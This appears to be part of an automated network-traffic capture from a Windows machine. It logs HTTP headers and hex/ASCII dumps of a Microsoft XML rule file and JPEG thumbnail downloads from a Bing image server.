2024-11-28 01:27:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:22 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: ed9dfa2a-401e-0015-7891-3f0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012722Z-174f78459688l8rvhC1EWRtzr00000000abg0000000080vr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:22 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49741	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:22 UTC	375	OUT	GET /th?id=OADD2.10239340418588_1PJ4HLSB51V9JOSDD&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-28 01:27:22 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 780589 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 6F7E79A1E2FC432883522A7132EB88AA Ref B: EWR30EDGE0212 Ref C: 2024-11-28T01:27:22Z Date: Thu, 28 Nov 2024 01:27:21 GMT Connection: close
2024-11-28 01:27:22 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1e 04 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 32 3a 31 30 20 32 33 3a 30 35 3a 35 36 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 24.1 (Windows)2023:02:10 23:05:568
2024-11-28 01:27:22 UTC	16384	IN	Data Raw: ed ff 00 de ad 4f 07 d9 da 36 a1 b3 50 86 19 2d 45 b3 cf 24 72 4b b1 3e 54 f9 55 9b fd fd 95 55 23 cd 07 ae e7 3d 0a aa 35 d3 b5 f5 28 78 c7 4a bb f0 df 8a f5 2d 16 4f 37 cc b2 95 e3 f3 3c 97 4f 31 3f 81 f6 bf cd f3 2f cd f3 55 2d 2a f1 f4 cb a8 ee 92 ce 1b 84 ff 00 96 96 d2 7d c9 3f d9 ad 2f 13 6a 12 6b 5e 27 b9 d5 f5 09 ae af 2e 2e 76 3d cc 92 cb fe b1 bf df ac bb 58 9e 59 63 85 04 b2 49 ff 00 3c fc aa 98 c5 f2 25 23 49 54 87 b4 72 a7 b5 ee 3b 5e 5b 3b 1f 10 5c da d9 7d af ec 51 c8 9e 57 da 7f 73 37 fe 3b 56 34 bd 4b 50 68 75 1f 38 c5 2c 1a 95 b7 91 73 f6 ed ef e6 2e f0 df 23 ff 00 7f e5 e2 8f 13 ea 11 eb 5a d5 ce a9 fb d8 e4 b9 8f cc 92 39 3e 7f 9f fb bb aa 8e e7 5f 2f 67 ff 00 61 4a 31 e6 86 a6 95 2a 28 54 6e 1d c8 74 e6 82 d2 1b 9f dc da dc 3d c4 7e Data Ascii: O6P-E$rK>TUU#=5(xJ-O7<O1?/U-}?/jk^'..v=XYcI<%#ITr;^[;\}QWs7;V4KPhu8,s.#Z9>_/gaJ1(Tnt=~
2024-11-28 01:27:22 UTC	16384	IN	Data Raw: 3a e6 a0 97 7d 5c f1 56 a9 0d fe a1 1c c8 22 8f cc b7 48 e4 8f f8 2b 39 35 63 aa 9d 37 16 e2 96 e6 e4 7a 34 f7 36 b6 da bd d6 9d 15 c6 9b 6f 1f ef 7c ab af 27 f7 08 ff 00 c4 ed fc 6f fc 3f c5 5a 3a 2e a5 1b dc 47 e2 19 0d ac 70 69 f7 3e 5d 96 8b 65 36 c7 81 64 df fe af fd de ed fc 55 c0 1b e9 fc 9c bc d2 f9 71 c8 ff 00 bb f3 7f f1 ea d2 f0 fd df 91 34 77 b3 43 e6 5a d9 fc f2 7f 73 fd 94 6f f7 aa 61 34 de e6 b5 20 d4 52 89 e9 07 e1 ac 5a 6f 88 b5 3d 2f 51 f1 ae 89 15 be 9f 6f 0c 96 d7 bf 3b fd bf cc 4d db 11 3f 81 bd 77 54 5a 1f 88 24 d0 5a 49 fc 37 67 e5 dd fd 99 e3 8f 52 96 5d f3 47 fd f6 8b 6f fa bf f3 cd 79 f4 1a a4 9a 9d e5 c5 ed e4 be 64 92 7e f2 49 3f da 6a e9 7c 1f e2 9b 4d 3e 2f b2 cd 67 69 25 a4 92 79 97 3e 6f fa e9 11 53 fd 5a 7f 77 75 55 fd c6 Data Ascii: :}\V"H+95c7z46o\|'o?Z:.Gpi>]e6dUq4wCZsoa4 RZo=/Qo;M?wTZ$ZI7gR]Goyd~I?j\|M>/gi%y>oSZwuU
2024-11-28 01:27:23 UTC	16384	IN	Data Raw: cb 4b bb 77 fb 9f f4 ce ba 0e 56 ae 4f 6f 2c 8b f2 25 6d 58 6a 73 69 ed 23 d9 cd e5 4d 24 4f 04 92 47 fd c6 fb d5 89 6b f3 cb 56 df fb 95 71 bb 4d 33 9a a5 b9 ae 89 f9 93 e7 a6 c9 15 24 15 6d 57 7f dc ad f7 39 65 27 16 52 f2 b7 54 f1 ae ca b1 e4 7f 72 ad 5a c1 bb e4 a7 c8 cc e5 5d 58 6d a5 8a 3f 97 be 5f fe cd bf bb 4a f0 3a 9f 9f ff 00 21 d4 fe 51 53 f3 ff 00 cb 3f 92 91 d9 d3 ee 56 ca 09 1c be d1 c9 ee 56 45 75 8f e4 a1 d9 3c c8 d3 f8 ff 00 e5 a5 33 cf 78 aa 36 d8 ff 00 3b cb e5 ff 00 d7 4a ca e6 ca 2d 8c 79 77 37 cf 6b ff 00 6c ff 00 cf 6a ad 25 95 d3 de 5c 69 d1 c3 2d e4 df 7e 3f 2b ee fc a9 bb f2 15 d1 40 f6 29 17 d8 ae a6 97 fb 3a 38 fc cf 33 ca 4f f5 bf fa 12 ee fe ed 56 3a bc c9 79 6d 34 33 4d b3 4d 91 e4 d3 a3 93 fd 74 1f 3f df 77 5f bc d5 cf 2e Data Ascii: KwVOo,%mXjsi#M$OGkVqM3$mW9e'RTrZ]Xm?_J:!QS?VVEu<3x6;J-yw7klj%\i-~?+@):83OV:ym43MMt?w_.
2024-11-28 01:27:23 UTC	16384	IN	Data Raw: 54 9b 6d f3 2f ba ca f7 5d ce b7 c0 1a 0c 09 ab 6a de 1e 9e cf fb 7a 7b 7b 64 8e db fb 22 24 b6 4b b4 97 e6 67 fb 57 df dd b7 7f f2 ae 17 e2 17 c3 9f f8 48 3c 65 e2 0b df 1a cd 2e 9d a5 5c 4b e5 e8 b7 b1 4b e4 ff 00 a2 db 26 c4 4f 2f fb 8b da bd 11 35 0f ec af 10 69 3a a6 9f a8 ff 00 c4 aa 39 21 fb 17 d9 b6 5b ff 00 1f cf e7 27 df dd fe c6 ea f4 af 8a 56 76 32 e9 b7 ba 5f 88 b4 d8 75 5d 13 55 bd fd ef da 62 ff 00 51 e6 26 e8 bf ef 87 e7 e5 af 99 af 3a 91 ac a7 df f4 3f 45 c1 d0 a5 53 0f ec bf 95 fe 67 c1 7a fe 91 a1 36 93 7d a5 de ea 5a b6 ab 27 87 7f 77 a4 db 7d 93 fe 5c 3e f7 99 f2 ff 00 ab 6d ef bb 7e 76 ed fb d5 63 52 f8 2f a9 da ea d1 cf a1 6a 51 47 63 f6 24 b8 92 e6 e6 27 77 b0 76 4d eb 1c e8 99 db ed 27 dc 6e b5 da 7c 03 f0 37 87 bc 49 e3 bb 28 6c Data Ascii: Tm/]jz{{d"$KgWH<e.\KK&O/5i:9!['Vv2_u]UbQ&:?ESgz6}Z'w}\>m~vcR/jQGc$'wvM'n\|7I(l
2024-11-28 01:27:23 UTC	16384	IN	Data Raw: 35 55 f8 33 e0 58 3c 71 a8 69 3e 3f b5 d1 ee f5 1b 5b 7b 67 b7 bd d2 62 b4 48 6d e3 96 34 f9 3e ca ff 00 f2 d3 e5 f9 bf bc af fd ea f5 7f 1f 78 4f c2 fe 0d f0 6e 89 ad e8 ba 64 5f d9 51 db f9 92 45 a6 c5 be f3 f7 e9 f3 df 37 9f f3 48 a9 ff 00 3c 9a b2 94 a9 5f 96 ce fe 47 4c 69 d6 71 e6 ba e5 5d ce 33 c1 fa 8c 1a 17 87 65 7d 4f e2 17 97 e0 4d 1a e7 cb b2 8e 3b 4d fa a5 dc 4b fb e7 b1 49 53 fd af bf 4f f1 17 8b 74 95 f1 8c 7a c7 8a 34 7d 3e 3f b4 78 63 f7 91 68 9b 3f 77 14 af fb 9f f6 1e 5d 9f de fb 95 e4 df 10 b5 cb 4d 43 56 b6 4f 0a 43 69 65 63 65 6d f6 7b 2b 69 22 d8 96 ff 00 c5 24 df f4 d2 79 3f bf fc 3f 76 ba 2f 17 59 ff 00 67 fc 2d f0 fd d5 d6 8f ab 47 3e b5 fe 97 a9 6b 57 3f 3c d7 72 c7 f7 ed d1 1b ee 46 bf bb f9 fe ed 6e a8 c3 47 2e ba 1c 9f 5a aa Data Ascii: 5U3X<qi>?[{gbHm4>xOnd_QE7H<_GLiq]3e}OM;MKISOtz4}>?xch?w]MCVOCiecem{+i"$y??v/Yg-G>kW?<rFnG.Z
2024-11-28 01:27:23 UTC	16384	IN	Data Raw: 0a 4d a6 ec ee ba 35 d3 cf d7 43 92 d1 ef b5 af ec fb ef 89 2f a0 e8 7a ad d5 c6 a5 0f da 63 b9 df 6d 0c 8f ff 00 2c df 7f f1 7c cd 5e 2b e3 ad 26 ef 4d d5 2f 6f 3f b2 23 b3 b1 b8 be 78 04 5e 6e ff 00 b2 3a fc cd 1a 37 f1 0f f6 eb ed 5f 84 fe 1a f1 0e a7 e0 8d 5b 4e f1 5c 36 97 17 57 32 24 77 3e 6f dc bf 4f bd bb e4 ff 00 d9 6b c3 3e 2f 7c 22 bf b4 f8 99 ab e9 7a 5d e5 a5 9d 8c 91 c3 25 b4 77 32 fc f2 79 9f 72 1f f7 97 fb d5 c3 85 c5 52 8d 59 27 68 db f2 ff 00 80 7a 39 9e 5f 8a 78 5a 72 8d e4 bb 59 5e ef af f4 cf 15 b5 d3 f5 6b 7d 2e 3f 15 e9 90 fe e2 ca f5 23 f3 62 d9 fe 8f 2f de 5f 31 3d eb 36 ea f1 27 ff 00 a6 7f f3 d2 38 fe e7 fc 06 b4 f5 6b 5d 73 c2 7e 2a be f0 fe bb 34 d6 d2 5b 4a d1 ea 36 de 6e f4 ff 00 e2 5a b9 d5 fe e3 fd fa f5 a1 2b b6 ff 00 13 Data Ascii: M5C/zcm,\|^+&M/o?#x^n:7_[N\6W2$w>oOk>/\|"z]%w2yrRY'hz9_xZrY^k}.?#b/_1=6'8k]s~*4[J6nZ+
2024-11-28 01:27:23 UTC	16065	IN	Data Raw: 9d ff 00 db ff 00 7b b5 62 41 aa d8 6a ba 7c 96 57 b7 9f 67 9e cb f7 96 52 cb 17 fd f7 14 9f fb 2b 53 bc 39 e2 5b fd 12 ef ed b6 5f e8 f3 c7 fb bf ef a4 8b fd d6 5e 8c b5 ba a5 39 2f 75 6a 71 54 c4 51 8c ed 27 78 be ab a7 fc 31 a5 a6 eb 17 7e 74 73 fd b3 cb ff 00 9e 7e 57 df af 46 9f 5e b4 d4 34 9b 1b ad 5e f3 ec f6 b2 46 f6 f6 d1 db 4a ff 00 e8 f7 1f f3 d7 6f df 5f f7 2b 80 be f1 0c 7e 23 d7 3e d5 75 a3 da 79 f6 ff 00 bb 8e e6 c6 5f b3 3e ff 00 e0 66 fe 1a 9f c1 f6 96 10 ea 11 a6 bd 34 d6 f6 b2 5c a4 7e 65 cc c9 bd 37 7f cb 5d ab f7 93 fb d4 a7 05 24 9c 93 4d 76 dc bc 35 7a 90 9b 85 39 73 46 5a 5d e8 bd 4d 78 6e 60 8b 56 b9 b5 9f 58 b4 8e 39 24 4b 8b 98 e5 fd f7 f6 9f f0 fe ef fb 8d 5e af a2 f8 69 f5 7f b6 9b fd 22 ea c7 ec fe 4f f6 75 c9 f9 ee fc af e2 Data Ascii: {bAj\|WgR+S9[_^9/ujqTQ'x1~ts~WF^4^FJo_+~#>uy_>f4\~e7]$Mv5z9sFZ]Mxn`VX9$K^i"Ou
2024-11-28 01:27:23 UTC	16384	IN	Data Raw: 4d 70 b0 f9 3f 2f df a8 76 50 24 ee 87 ef 7a 3e f7 fc b6 a6 49 47 df a6 80 7c 6d 22 53 b7 49 4d db ba 8f b9 54 d5 84 1b 77 d3 be e7 c9 46 da 37 52 11 61 3e 68 f6 52 a4 b3 54 09 52 73 5a 18 b4 89 37 23 7d ff 00 bf 47 c9 f7 d2 a2 df 4f 8d a9 dc 2c 4b f2 7d f4 a8 9e 9d 4d dd 48 48 6f cb 53 da c5 ba 5d 89 50 73 56 13 fd 9a 68 24 da 43 a7 8a 45 8f 7e 3e 4f f9 e9 52 5a 2b cb f2 25 5b d4 2f 2c 1b 43 b2 b2 87 4d f2 ee ad f7 bc b7 be 6f fa fd df 77 72 7f b3 59 db 53 ef 50 88 92 d2 d7 36 e0 b9 b8 ff 00 84 7e da d3 ed 90 fd 96 4b 97 93 ca ff 00 9e 72 fd dd f2 7b 6d e9 56 a4 5d 2a ea 18 de 09 a6 8e ea de 3f f4 98 ee 7e 7f 31 ff 00 bc 9f ef 57 38 9b fe e2 7d cf f9 e7 56 ac 77 af 98 ef 55 1d cc aa ea ae 49 7d b2 68 fe 4a cf 46 fe 07 a9 ae b6 79 bf 25 35 25 34 e5 bd c2 Data Ascii: Mp?/vP$z>IG\|m"SIMTwF7Ra>hRTRsZ7#}GO,K}MHHoS]PsVh$CE~>ORZ+%[/,CMowrYSP6~Kr{mV]*?~1W8}VwUI}hJFy%5%4
2024-11-28 01:27:23 UTC	16384	IN	Data Raw: 69 ec f6 0a 98 68 ce 82 95 26 dc e3 ba b6 96 f2 f4 7a 3e e3 3c 33 e2 5d 5b fb 42 29 e0 9f cb ba 8e 4f dd c9 14 49 be 4a f5 78 35 af 07 da 5a 69 b6 5a f6 83 35 c4 77 1f bc d4 ae 7c df 3a e6 0b af fd 99 7f d8 af 1b f0 9b 47 63 1f f6 82 7f c7 d4 5f ea e3 ad 68 27 9f 50 9a e7 c8 9b cc 92 f7 f7 92 7f bf 59 62 70 6a a3 e6 d9 1d 79 6e 75 53 0f 4d c7 e2 6f be a7 ae eb df 0c 74 2f 14 78 7f 52 d7 a3 d7 ad 63 8f cb 7b bb 2b 9b 1d 92 c3 bb f8 d5 9f fb bd f6 37 ce 95 e6 9e 1f f0 9d fb eb 72 5a ff 00 63 dd ea 30 f9 6f 1c 92 5b 7f b4 9f c3 5e b1 f0 ca c7 4d f0 7e 9f ff 00 09 2e a3 34 d6 56 b2 47 e6 6a 52 4b 2b ff 00 a7 ee 4f f9 e7 f7 7e 4a f2 9f 1b 78 fb 55 f1 05 e7 97 0c 3f d9 d6 31 ef ff 00 46 b6 f9 3c cf 9f e5 76 ff 00 6a b3 cb a5 5d ce 54 e2 ef 15 a5 df 43 d0 e2 2a Data Ascii: ih&z><3][B)OIJx5ZiZ5w\|:Gc_h'PYbpjynuSMot/xRc{+7rZc0o[^M~.4VGjRK+O~JxU?1F<vj]TC*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49743	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:22 UTC	346	OUT	GET /th?id=OADD2.10239339388047_1IA8KT8C9GBGWC56Z&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-28 01:27:22 UTC	863	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 863206 Content-Type: image/jpeg Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: AD426E3F796346928DB35B00C4E4497C Ref B: EWR311000108017 Ref C: 2024-11-28T01:27:22Z Date: Thu, 28 Nov 2024 01:27:21 GMT Connection: close
2024-11-28 01:27:22 UTC	3517	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 33 2e 35 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 32 3a 31 30 3a 30 33 20 31 31 3a 30 32 3a 32 39 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 23.5 (Windows)2022:10:03 11:02:298C
2024-11-28 01:27:22 UTC	8192	IN	Data Raw: b8 d9 fe b3 fe 7a fe f7 cd fe e5 6e 73 4c 9a e2 e3 64 d3 79 7f ea e2 fd e5 1a 1f c9 a5 c5 cd 63 de 6b 7e 4d e4 bf b8 fd df fa bf fb ee b4 a4 78 ed ac e2 b7 b7 ff 00 9e 5e 5d 2e 72 f9 0b f7 92 ec ff 00 57 ff 00 7e a9 f1 be ff 00 fb 65 59 52 5c 46 ff 00 bc 8f f7 b2 4b 57 23 49 7c 99 63 93 fe d9 4b 4c 8e 41 f1 ff 00 ae f3 3f e9 97 fa aa 2d e5 95 ec a2 92 4f dd 7e f6 a1 d3 de 49 bc d9 3c 8f f5 bb ea b6 9f 2c b7 36 31 79 9f ba f3 65 4a 03 90 d1 b7 7d f0 ff 00 cf 29 25 a2 aa 5c 5d 4b 0f ef 24 ff 00 9e 5f ea a8 a0 39 0e 4a 9d 4d a2 82 c7 7d ff 00 fa 63 45 45 1c b1 f9 df f4 d2 5a 9b 7f bd 00 33 fe 78 c9 55 b5 04 df ff 00 2d fc af de d4 d7 11 7e e7 f7 73 f9 54 c9 3c b7 b2 fd e7 fd 73 a0 d0 6d bd c7 9d fb b9 0f fa af dd cb 51 e9 ef 23 c1 f6 8f f9 69 2f 97 e5 54 37 Data Ascii: znsLdyck~Mx^].rW~eYR\FKW#I\|cKLA?-O~I<,61yeJ})%\]K$_9JM}cEEZ3xU-~sT<smQ#i/T7
2024-11-28 01:27:22 UTC	4144	IN	Data Raw: 0f da 3c 89 e2 93 ec b1 c9 2c 5f f4 f0 df 79 e5 fa d0 67 f1 16 35 0f 0f db 5e 6a 97 5e 67 ee bc d8 a3 f3 62 b4 87 fd 8d 95 c9 5c 5d c5 a3 cd a7 db dc 5f 43 f6 88 a5 8e 4f b5 7d ff 00 ba ff 00 72 ba d9 2f 6d a1 d6 a2 d4 3c f9 ad 6e 22 8b cb ba 8b ee 79 89 fe c7 fb 4b 4c f1 a2 69 37 33 45 67 a7 ea b6 51 49 e6 c7 27 9b f2 6f 8f fe 9a 57 39 70 99 89 ae 6a 7a 0b f8 82 d6 e3 cf fe d4 b3 bf b5 92 da 5f b2 7f cb 37 57 f3 57 77 fb 55 a5 a7 cd ab 43 06 9f f6 38 3f b5 23 fd e4 9f eb bf e5 97 f1 6c 7f f7 7f bf 59 5e 28 fb 15 fe 97 a8 49 1d 8c 36 be 20 d1 a5 8e e6 29 6d 3e 44 bb 48 fe fb a3 7f 75 d6 b6 34 38 b4 9b 68 3e cf 6f e7 7d 8e ea 2f b4 c5 6b 2c ce 97 36 9e 67 fe 3a fe d5 a4 27 cc 69 3f 74 c4 f0 df 88 ef 74 1d 6b fe 26 1f ea ee bc cb 68 a2 f2 7f d5 ed fb 91 d3 Data Ascii: <,_yg5^j^gb\]_CO}r/m<n"yKLi73EgQI'oW9pjz_7WWwUC8?#lY^(I6 )m>DHu48h>o}/k,6g:'i?ttk&h
2024-11-28 01:27:22 UTC	8192	IN	Data Raw: 6b 17 be 65 be 95 35 d5 c4 b2 c9 f6 af 36 f7 f8 e3 ff 00 59 27 cf fd ef e0 ad ed 62 e2 f6 fe 1f ec bb cf 26 2d 3e 5f 2e 3f 2a 28 77 ff 00 b9 f3 bf fe c9 5c c6 97 a9 fd 83 c4 31 78 92 e2 78 6e be d5 2c 76 d7 f1 79 df be f2 a4 ff 00 96 be 9f 7a ba ad 62 e2 e7 55 bc bb b3 93 f7 56 ff 00 bb ff 00 96 3f f1 ef 17 dd ff 00 47 ff 00 9e 9f ef 51 4f e0 09 fc 63 f5 0d 2a ca 6f 37 47 b3 be d5 2d 75 48 a5 8e 3f dd 5e bf 93 6e 9f f3 f1 58 3a a6 9f a8 ff 00 c2 c0 d2 a2 b8 9f ed f1 cb 6b 1d cf 95 2c 3e 4b f9 51 3b fc bf 2f fb 55 d2 69 6f 25 9d 95 af f6 7e 95 7b 75 f6 af 33 fd 6f fa e9 3f da df fc 75 cf 6b 9e 23 93 fe 16 74 b7 96 73 c3 61 1c 5a 57 d8 bc dd 42 1d 9f 3e ff 00 9a 89 85 3e 7e 71 9f 10 25 89 3e 24 69 f6 fe 44 3f 68 b0 b5 fb 4c b2 ff 00 d3 c4 9f ea f7 ff 00 b1 Data Ascii: ke56Y'b&->_.?(w\1xxn,vyzbUV?GQOco7G-uH?^nX:k,>KQ;/Uio%~{u3o?uk#tsaZWB>>~q%>$iD?hL
2024-11-28 01:27:22 UTC	8192	IN	Data Raw: bd 52 ce de 3b 09 be d9 24 10 ff 00 cb 4f 37 cd fb f2 4b 27 dd db 5e 75 f1 f2 e3 ed 3e 34 d0 34 8d 3f c9 97 50 ba d3 e4 8e 28 bf da 95 f6 7f e3 95 e9 50 8d 3a 52 f7 b4 91 97 3c e7 ee c7 61 ff 00 62 f1 34 fa 5c 5e 20 b2 d1 3e cb f6 4b 58 ef 62 fd ce c4 9f e7 fe 0d bf dc 4a d8 b3 fe ce b0 9b 5a bc 8e fa 6d 66 df ec b0 47 a7 cb f7 fe f7 ce f5 de 59 e8 96 50 f8 47 4f d3 d3 ce ba b7 b5 b5 fb 37 fa ef ee a6 da f3 dd 61 ef 74 6f 10 5d 78 7e df ce 96 cf ca 8e 4b 4f b2 7f cb bd aa 26 e6 f9 7f d9 fe f5 7b 14 6a 42 70 8c a2 73 f3 fb f2 89 d3 ea 17 b6 fe 4f 97 71 04 d2 c7 75 17 97 14 b0 c3 fb ef f6 37 ff 00 72 b9 ed 43 ed bf f0 9d 6a 1e 17 b7 9e 69 7f b5 2d 6c 64 d4 2e fc ef f8 f7 b7 fb 93 33 ff 00 d3 59 16 b4 ad fc 41 a2 cd e1 8f 32 e2 fb ed 5e 6f 97 1c b7 5e 77 cf Data Ascii: R;$O7K'^u>44?P(P:R<ab4\^ >KXbJZmfGYPGO7ato]x~KO&{jBpsOqu7rCji-ld.3YA2^o^w
2024-11-28 01:27:23 UTC	8192	IN	Data Raw: bd d7 97 24 5f e7 fd 9a 86 4b ab 2b 6d 17 50 d4 23 82 1f b4 45 6b 24 77 51 5a 6f d9 76 9f 7b fe fe 6e ad ed 43 4c 89 e6 96 e2 e2 79 a2 b7 ff 00 8f 68 bc a8 7c ef de ff 00 f1 35 9b e2 0d 2a f5 3c 23 75 24 90 59 79 9e 54 92 cb e5 4d fe c7 cb be b9 68 62 b9 e7 1e e1 ef c0 a1 e1 3d 76 e7 c3 d7 da 85 c6 a9 7d 7b 2f 86 f5 4b 0f f9 65 be 6f b3 cf 2f fc f3 8d bd 3f 8a ba ad 1e fb 4e b7 f1 05 ad 9c 76 30 df de 7f c7 b5 d6 a1 e7 79 d6 ff 00 f6 cd fe ef fc 07 f8 2b 92 d1 fc 3f 2f 89 3e 18 e9 fa 7f db bf e2 61 75 a7 fd a6 2b a9 bf e5 9d c4 7f 37 fe 3d 5a 9f b3 5e af 73 73 f0 b2 2b 4b 31 37 db 2c 2e a4 8a ea c3 c9 df 16 cf ef fa ee ae da dc f3 f8 77 4c bf 70 ec 7c 59 2c b6 7a 2c be 5f 87 26 8b ec b1 49 fb d8 bf e5 e2 2f e3 fb 9f 72 bc af c7 0f 6f 37 87 e2 8e e2 fa 6f Data Ascii: $_K+mP#Ek$wQZov{nCLyh\|5*<#u$YyTMhb=v}{/Keo/?Nv0y+?/>au+7=Z^ss+K17,.wLp\|Y,z,_&I/ro7o
2024-11-28 01:27:23 UTC	8192	IN	Data Raw: cb f3 a5 b3 fb 54 fe 6f f7 ed ff 00 86 b6 34 79 76 59 69 5e 67 93 14 96 1e 64 72 f9 55 10 99 7e cc 7f 8a 25 91 3f d1 ed e7 f2 ae 2e a2 ff 00 d9 ff 00 86 9f 6f 71 1e ab aa 7d 9e df f7 b6 f1 4b e6 79 bf ee d6 6f c4 49 7f 7f 0c 96 f3 fd 96 4b 59 60 97 cd fe 0f bf f3 55 9f 0d c5 73 a6 d9 45 fb f9 a5 8e ea 57 f3 65 f2 7f 8d bf 8e af ed 87 d8 19 e2 4b bd 9e 20 f3 2e 3f 75 1c 56 b2 79 b2 ff 00 07 fb b5 ab b2 34 d2 ee ad ec fc e8 a4 ba 96 3f 2b fe 07 58 3a a5 c6 fd 16 5d 43 c8 f3 7c db a9 3f 75 17 fd 33 fb bf fa 2e a6 bc d4 2e 7f b1 65 b8 b7 83 f7 72 da c1 25 af fd 75 93 f8 7f e0 15 9d f9 39 a7 20 fe 58 9a b1 ea 76 